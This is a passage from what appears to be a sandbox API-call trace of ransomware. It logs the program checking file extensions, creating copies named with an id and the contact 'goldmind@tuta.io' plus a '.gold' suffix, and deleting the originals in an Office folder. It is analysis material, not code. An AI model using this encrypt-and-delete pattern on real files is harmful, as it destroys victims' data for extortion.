[0105.677] lstrlenW (lpString=".doc") returned 4 [0105.677] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0105.677] lstrlenW (lpString=".docx") returned 5 [0105.677] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0105.677] lstrlenW (lpString=".pdf") returned 4 [0105.677] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0105.677] lstrlenW (lpString=".xls") returned 4 [0105.677] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0105.677] lstrlenW (lpString=".xlsx") returned 5 [0105.677] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0105.677] lstrlenW (lpString=".ppt") returned 4 [0105.677] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString=".zip") returned 4 [0105.677] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0105.677] lstrlenW (lpString=".rar") returned 4 [0105.677] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0105.677] lstrlenW (lpString=".bz2") returned 4 [0105.677] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0105.677] lstrlenW (lpString=".7z") returned 3 [0105.677] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString=".dbf") returned 4 [0105.677] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString=".1cd") returned 4 [0105.677] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString=".jpg") returned 4 [0105.677] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0105.677] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0105.678] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20 [0105.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.678] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=656) returned 1 [0105.678] CloseHandle (hObject=0x3b0) returned 1 [0105.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 0x20 [0105.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.679] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.679] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.679] GetLastError () returned 0x0 [0105.679] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x290, lpOverlapped=0x0) returned 1 [0105.680] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0105.681] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.681] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0105.681] SetEndOfFile (hFile=0x38c) returned 1 [0105.681] CloseHandle (hObject=0x38c) returned 1 [0105.681] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.681] SetEndOfFile (hFile=0x3b0) returned 1 [0105.683] CloseHandle (hObject=0x3b0) returned 1 [0105.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 1 [0105.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.684] lstrlenW (lpString=".doc") returned 4 [0105.684] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.684] lstrlenW (lpString=".docx") returned 5 [0105.684] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.684] lstrlenW (lpString=".pdf") returned 4 [0105.684] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.684] lstrlenW (lpString=".xls") returned 4 [0105.684] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.684] lstrlenW (lpString=".xlsx") returned 5 [0105.684] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.684] lstrlenW (lpString=".ppt") returned 4 [0105.684] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.684] lstrlenW (lpString=".zip") returned 4 [0105.684] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.684] lstrlenW (lpString=".rar") returned 4 [0105.684] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.684] lstrlenW (lpString=".bz2") returned 4 [0105.684] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.684] lstrlenW (lpString=".7z") returned 3 [0105.684] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.684] lstrlenW (lpString=".dbf") returned 4 [0105.684] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.684] lstrlenW (lpString=".1cd") returned 4 [0105.684] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.684] lstrlenW (lpString=".jpg") returned 4 [0105.685] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.685] lstrlenW (lpString=".doc") returned 4 [0105.685] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.685] lstrlenW (lpString=".docx") returned 5 [0105.685] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.685] lstrlenW (lpString=".pdf") returned 4 [0105.685] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.685] lstrlenW (lpString=".xls") returned 4 [0105.685] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.685] lstrlenW (lpString=".xlsx") returned 5 [0105.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.685] lstrlenW (lpString=".ppt") returned 4 [0105.685] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.685] lstrlenW (lpString=".zip") returned 4 [0105.685] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.685] lstrlenW (lpString=".rar") returned 4 [0105.685] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.685] lstrlenW (lpString=".bz2") returned 4 [0105.685] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.685] lstrlenW (lpString=".7z") returned 3 [0105.685] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.685] lstrlenW (lpString=".dbf") returned 4 [0105.685] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.685] lstrlenW (lpString=".1cd") returned 4 [0105.685] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0105.685] lstrlenW (lpString=".jpg") returned 4 [0105.685] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.685] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0105.685] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20 [0105.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.686] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=212) returned 1 [0105.686] CloseHandle (hObject=0x3b0) returned 1 [0105.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 0x20 [0105.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.686] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.686] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.687] GetLastError () returned 0x0 [0105.687] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xd4, lpOverlapped=0x0) returned 1 [0105.688] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0105.688] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.688] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0105.688] SetEndOfFile (hFile=0x38c) returned 1 [0105.688] CloseHandle (hObject=0x38c) returned 1 [0105.688] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.688] SetEndOfFile (hFile=0x3b0) returned 1 [0105.692] CloseHandle (hObject=0x3b0) returned 1 [0105.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt")) returned 1 [0105.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.692] lstrlenW (lpString=".doc") returned 4 [0105.693] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.693] lstrlenW (lpString=".docx") returned 5 [0105.693] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.693] lstrlenW (lpString=".pdf") returned 4 [0105.693] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".xls") returned 4 [0105.693] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".xlsx") returned 5 [0105.693] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.693] lstrlenW (lpString=".ppt") returned 4 [0105.693] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.693] lstrlenW (lpString=".zip") returned 4 [0105.693] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".rar") returned 4 [0105.693] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".bz2") returned 4 [0105.693] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.693] lstrlenW (lpString=".7z") returned 3 [0105.693] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.693] lstrlenW (lpString=".dbf") returned 4 [0105.693] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.693] lstrlenW (lpString=".1cd") returned 4 [0105.693] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.693] lstrlenW (lpString=".jpg") returned 4 [0105.693] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.693] lstrlenW (lpString=".doc") returned 4 [0105.693] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.693] lstrlenW (lpString=".docx") returned 5 [0105.693] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.693] lstrlenW (lpString=".pdf") returned 4 [0105.693] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".xls") returned 4 [0105.693] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".xlsx") returned 5 [0105.693] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.693] lstrlenW (lpString=".ppt") returned 4 [0105.693] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.693] lstrlenW (lpString=".zip") returned 4 [0105.693] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".rar") returned 4 [0105.693] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.693] lstrlenW (lpString=".bz2") returned 4 [0105.693] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.693] lstrlenW (lpString=".7z") returned 3 [0105.693] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.694] lstrlenW (lpString=".dbf") returned 4 [0105.694] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.694] lstrlenW (lpString=".1cd") returned 4 [0105.694] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT") returned 68 [0105.694] lstrlenW (lpString=".jpg") returned 4 [0105.694] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.694] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.694] lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22 [0105.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.696] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0105.696] CloseHandle (hObject=0x3b0) returned 1 [0105.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 0x20 [0105.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.697] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.697] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.697] GetLastError () returned 0x0 [0105.698] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0105.698] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.699] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.699] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x100, lpOverlapped=0x0) returned 1 [0105.699] SetEndOfFile (hFile=0x38c) returned 1 [0105.699] CloseHandle (hObject=0x38c) returned 1 [0105.699] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.699] SetEndOfFile (hFile=0x3b0) returned 1 [0105.701] CloseHandle (hObject=0x3b0) returned 1 [0105.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.702] lstrlenW (lpString=".doc") returned 4 [0105.702] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.702] lstrlenW (lpString=".docx") returned 5 [0105.702] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.702] lstrlenW (lpString=".pdf") returned 4 [0105.702] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.702] lstrlenW (lpString=".xls") returned 4 [0105.702] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.702] lstrlenW (lpString=".xlsx") returned 5 [0105.702] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.702] lstrlenW (lpString=".ppt") returned 4 [0105.702] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.702] lstrlenW (lpString=".zip") returned 4 [0105.702] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.702] lstrlenW (lpString=".rar") returned 4 [0105.702] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.702] lstrlenW (lpString=".bz2") returned 4 [0105.702] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.702] lstrlenW (lpString=".7z") returned 3 [0105.702] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.702] lstrlenW (lpString=".dbf") returned 4 [0105.702] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.702] lstrlenW (lpString=".1cd") returned 4 [0105.702] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.702] lstrlenW (lpString=".jpg") returned 4 [0105.702] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0105.703] lstrlenW (lpString=".doc") returned 4 [0105.703] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.703] lstrlenW (lpString=".docx") returned 5 [0105.703] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.703] lstrlenW (lpString=".pdf") returned 4 [0105.703] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.703] lstrlenW (lpString=".xls") returned 4 [0105.703] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.703] lstrlenW 